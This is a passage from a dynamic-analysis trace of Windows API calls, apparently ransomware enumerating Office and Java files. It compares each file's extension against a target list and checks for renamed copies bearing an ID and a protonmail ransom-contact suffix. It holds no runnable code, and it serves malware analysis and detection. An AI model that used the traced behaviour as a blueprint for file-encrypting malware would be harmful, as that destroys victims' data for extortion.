	[0178.741] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.741] lstrlenW (lpString=".xls") returned 4
	[0178.741] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.741] lstrlenW (lpString=".xlsx") returned 5
	[0178.741] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0178.741] lstrlenW (lpString=".ppt") returned 4
	[0178.741] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.741] lstrlenW (lpString=".zip") returned 4
	[0178.741] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.741] lstrlenW (lpString=".rar") returned 4
	[0178.741] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.741] lstrlenW (lpString=".bz2") returned 4
	[0178.741] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.741] lstrlenW (lpString=".7z") returned 3
	[0178.741] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.741] lstrlenW (lpString=".dbf") returned 4
	[0178.741] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.741] lstrlenW (lpString=".1cd") returned 4
	[0178.741] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.741] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.741] lstrlenW (lpString=".jpg") returned 4
	[0178.741] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.741] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0178.741] lstrlenW (lpString="api-ms-win-core-file-l1-2-0.dll") returned 31
	[0178.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.745] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=18624) returned 1
	[0178.745] CloseHandle (hObject=0x5c0) returned 1
	[0178.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220
	[0178.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0178.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.745] lstrlenW (lpString=".doc") returned 4
	[0178.745] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.745] lstrlenW (lpString=".docx") returned 5
	[0178.745] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0178.745] lstrlenW (lpString=".pdf") returned 4
	[0178.745] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.745] lstrlenW (lpString=".xls") returned 4
	[0178.745] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.745] lstrlenW (lpString=".xlsx") returned 5
	[0178.746] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0178.746] lstrlenW (lpString=".ppt") returned 4
	[0178.746] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.746] lstrlenW (lpString=".zip") returned 4
	[0178.746] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.746] lstrlenW (lpString=".rar") returned 4
	[0178.746] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.746] lstrlenW (lpString=".bz2") returned 4
	[0178.746] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.746] lstrlenW (lpString=".7z") returned 3
	[0178.746] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.746] lstrlenW (lpString=".dbf") returned 4
	[0178.746] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.746] lstrlenW (lpString=".1cd") returned 4
	[0178.746] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.746] lstrlenW (lpString=".jpg") returned 4
	[0178.746] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.746] lstrlenW (lpString=".doc") returned 4
	[0178.746] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.746] lstrlenW (lpString=".docx") returned 5
	[0178.746] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0178.746] lstrlenW (lpString=".pdf") returned 4
	[0178.746] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.746] lstrlenW (lpString=".xls") returned 4
	[0178.747] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.747] lstrlenW (lpString=".xlsx") returned 5
	[0178.747] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0178.747] lstrlenW (lpString=".ppt") returned 4
	[0178.747] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.747] lstrlenW (lpString=".zip") returned 4
	[0178.747] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.747] lstrlenW (lpString=".rar") returned 4
	[0178.747] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.747] lstrlenW (lpString=".bz2") returned 4
	[0178.747] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.747] lstrlenW (lpString=".7z") returned 3
	[0178.747] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.747] lstrlenW (lpString=".dbf") returned 4
	[0178.747] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.747] lstrlenW (lpString=".1cd") returned 4
	[0178.747] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll") returned 77
	[0178.747] lstrlenW (lpString=".jpg") returned 4
	[0178.747] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.747] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0178.747] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31
	[0178.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.748] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=18624) returned 1
	[0178.749] CloseHandle (hObject=0x5c0) returned 1
	[0178.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220
	[0178.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0178.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.749] lstrlenW (lpString=".doc") returned 4
	[0178.749] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.749] lstrlenW (lpString=".docx") returned 5
	[0178.749] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0178.749] lstrlenW (lpString=".pdf") returned 4
	[0178.749] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.749] lstrlenW (lpString=".xls") returned 4
	[0178.749] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.749] lstrlenW (lpString=".xlsx") returned 5
	[0178.749] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0178.749] lstrlenW (lpString=".ppt") returned 4
	[0178.749] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.749] lstrlenW (lpString=".zip") returned 4
	[0178.749] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.749] lstrlenW (lpString=".rar") returned 4
	[0178.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.750] lstrlenW (lpString=".bz2") returned 4
	[0178.750] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.750] lstrlenW (lpString=".7z") returned 3
	[0178.750] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.750] lstrlenW (lpString=".dbf") returned 4
	[0178.750] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.750] lstrlenW (lpString=".1cd") returned 4
	[0178.750] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.750] lstrlenW (lpString=".jpg") returned 4
	[0178.750] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.750] lstrlenW (lpString=".doc") returned 4
	[0178.750] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.750] lstrlenW (lpString=".docx") returned 5
	[0178.750] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0178.750] lstrlenW (lpString=".pdf") returned 4
	[0178.750] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.750] lstrlenW (lpString=".xls") returned 4
	[0178.750] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.750] lstrlenW (lpString=".xlsx") returned 5
	[0178.750] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0178.750] lstrlenW (lpString=".ppt") returned 4
	[0178.750] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.750] lstrlenW (lpString=".zip") returned 4
	[0178.750] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.750] lstrlenW (lpString=".rar") returned 4
	[0178.750] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.751] lstrlenW (lpString=".bz2") returned 4
	[0178.751] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.751] lstrlenW (lpString=".7z") returned 3
	[0178.751] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.751] lstrlenW (lpString=".dbf") returned 4
	[0178.751] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.751] lstrlenW (lpString=".1cd") returned 4
	[0178.751] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77
	[0178.751] lstrlenW (lpString=".jpg") returned 4
	[0178.751] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.751] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0178.751] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0178.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.752] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=21184) returned 1
	[0178.752] CloseHandle (hObject=0x5c0) returned 1
	[0178.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220
	[0178.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0178.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.752] lstrlenW (lpString=".doc") returned 4
	[0178.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.752] lstrlenW (lpString=".docx") returned 5
	[0178.752] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0178.752] lstrlenW (lpString=".pdf") returned 4
	[0178.752] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.752] lstrlenW (lpString=".xls") returned 4
	[0178.752] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.752] lstrlenW (lpString=".xlsx") returned 5
	[0178.752] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0178.752] lstrlenW (lpString=".ppt") returned 4
	[0178.752] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.753] lstrlenW (lpString=".zip") returned 4
	[0178.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.753] lstrlenW (lpString=".rar") returned 4
	[0178.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.753] lstrlenW (lpString=".bz2") returned 4
	[0178.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.753] lstrlenW (lpString=".7z") returned 3
	[0178.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.753] lstrlenW (lpString=".dbf") returned 4
	[0178.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.753] lstrlenW (lpString=".1cd") returned 4
	[0178.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.753] lstrlenW (lpString=".jpg") returned 4
	[0178.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.753] lstrlenW (lpString=".doc") returned 4
	[0178.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.753] lstrlenW (lpString=".docx") returned 5
	[0178.753] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0178.753] lstrlenW (lpString=".pdf") returned 4
	[0178.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.753] lstrlenW (lpString=".xls") returned 4
	[0178.753] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.753] lstrlenW (lpString=".xlsx") returned 5
	[0178.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0178.754] lstrlenW (lpString=".ppt") returned 4
	[0178.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.754] lstrlenW (lpString=".zip") returned 4
	[0178.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.754] lstrlenW (lpString=".rar") returned 4
	[0178.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.754] lstrlenW (lpString=".bz2") returned 4
	[0178.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.754] lstrlenW (lpString=".7z") returned 3
	[0178.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.754] lstrlenW (lpString=".dbf") returned 4
	[0178.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.754] lstrlenW (lpString=".1cd") returned 4
	[0178.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll") returned 85
	[0178.754] lstrlenW (lpString=".jpg") returned 4
	[0178.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.754] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0178.754] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0178.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.756] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19136) returned 1
	[0178.756] CloseHandle (hObject=0x5c0) returned 1
	[0178.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220
	[0178.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.756] lstrlenW (lpString=".doc") returned 4
	[0178.756] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.756] lstrlenW (lpString=".docx") returned 5
	[0178.756] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0178.756] lstrlenW (lpString=".pdf") returned 4
	[0178.756] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.756] lstrlenW (lpString=".xls") returned 4
	[0178.756] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.756] lstrlenW (lpString=".xlsx") returned 5
	[0178.756] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0178.756] lstrlenW (lpString=".ppt") returned 4
	[0178.756] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.756] lstrlenW (lpString=".zip") returned 4
	[0178.757] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.757] lstrlenW (lpString=".rar") returned 4
	[0178.757] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.757] lstrlenW (lpString=".bz2") returned 4
	[0178.757] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.757] lstrlenW (lpString=".7z") returned 3
	[0178.757] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.757] lstrlenW (lpString=".dbf") returned 4
	[0178.757] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.757] lstrlenW (lpString=".1cd") returned 4
	[0178.757] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.757] lstrlenW (lpString=".jpg") returned 4
	[0178.757] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.757] lstrlenW (lpString=".doc") returned 4
	[0178.757] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.757] lstrlenW (lpString=".docx") returned 5
	[0178.757] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0178.757] lstrlenW (lpString=".pdf") returned 4
	[0178.757] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.757] lstrlenW (lpString=".xls") returned 4
	[0178.757] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.757] lstrlenW (lpString=".xlsx") returned 5
	[0178.757] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0178.757] lstrlenW (lpString=".ppt") returned 4
	[0178.757] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.757] lstrlenW (lpString=".zip") returned 4
	[0178.758] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.758] lstrlenW (lpString=".rar") returned 4
	[0178.758] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.758] lstrlenW (lpString=".bz2") returned 4
	[0178.758] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.758] lstrlenW (lpString=".7z") returned 3
	[0178.758] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.758] lstrlenW (lpString=".dbf") returned 4
	[0178.758] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.758] lstrlenW (lpString=".1cd") returned 4
	[0178.758] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll") returned 87
	[0178.758] lstrlenW (lpString=".jpg") returned 4
	[0178.758] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.758] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
